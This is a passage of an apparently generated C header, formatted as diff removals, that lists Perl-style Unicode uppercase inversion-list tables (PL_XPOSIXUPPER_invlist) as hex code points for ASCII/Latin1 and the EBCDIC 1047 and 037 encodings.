0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AF, - 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xFF21, - 0xFF3B, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1D400, - 0x1D41A, - 0x1D434, - 0x1D44E, - 0x1D468, - 0x1D482, - 0x1D49C, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4B6, - 0x1D4D0, - 0x1D4EA, - 0x1D504, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D538, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, - 0x1D6A8, - 0x1D6C1, - 0x1D6E2, - 0x1D6FB, - 0x1D71C, - 0x1D735, - 0x1D756, - 0x1D76F, - 0x1D790, - 0x1D7A9, - 0x1D7CA, - 0x1D7CB, - 0x1E900, - 0x1E922, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXUPPER_invlist[] = { /* for EBCDIC 1047 */ - 1283, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x80, - 0x81, - 0x9E, - 0x9F, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C5, - 0x1C7, - 0x1C8, - 0x1CA, - 0x1CB, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F2, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1FB8, - 0x1FBC, - 0x1FC8, - 0x1FCC, - 0x1FD8, - 0x1FDC, - 0x1FE8, - 0x1FED, - 0x1FF8, - 0x1FFC, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210B, - 0x210E, - 0x2110, - 0x2113, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x2130, - 0x2134, - 0x213E, - 0x2140, - 0x2145, - 0x2146, - 0x2160, - 0x2170, - 0x2183, - 0x2184, - 0x24B6, - 0x24D0, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AF, - 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xFF21, - 0xFF3B, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1D400, - 0x1D41A, - 0x1D434, - 0x1D44E, - 0x1D468, - 0x1D482, - 0x1D49C, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4B6, - 0x1D4D0, - 0x1D4EA, - 0x1D504, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D538, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, - 0x1D6A8, - 0x1D6C1, - 0x1D6E2, - 0x1D6FB, - 0x1D71C, - 0x1D735, - 0x1D756, - 0x1D76F, - 0x1D790, - 0x1D7A9, - 0x1D7CA, - 0x1D7CB, - 0x1E900, - 0x1E922, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXUPPER_invlist[] = { /* for EBCDIC 037 */ - 1279, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x80, - 0x81, - 0x9E, - 0x9F, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C5, - 0x1C7, - 0x1C8, - 0x1CA, - 0x1CB, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F2, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 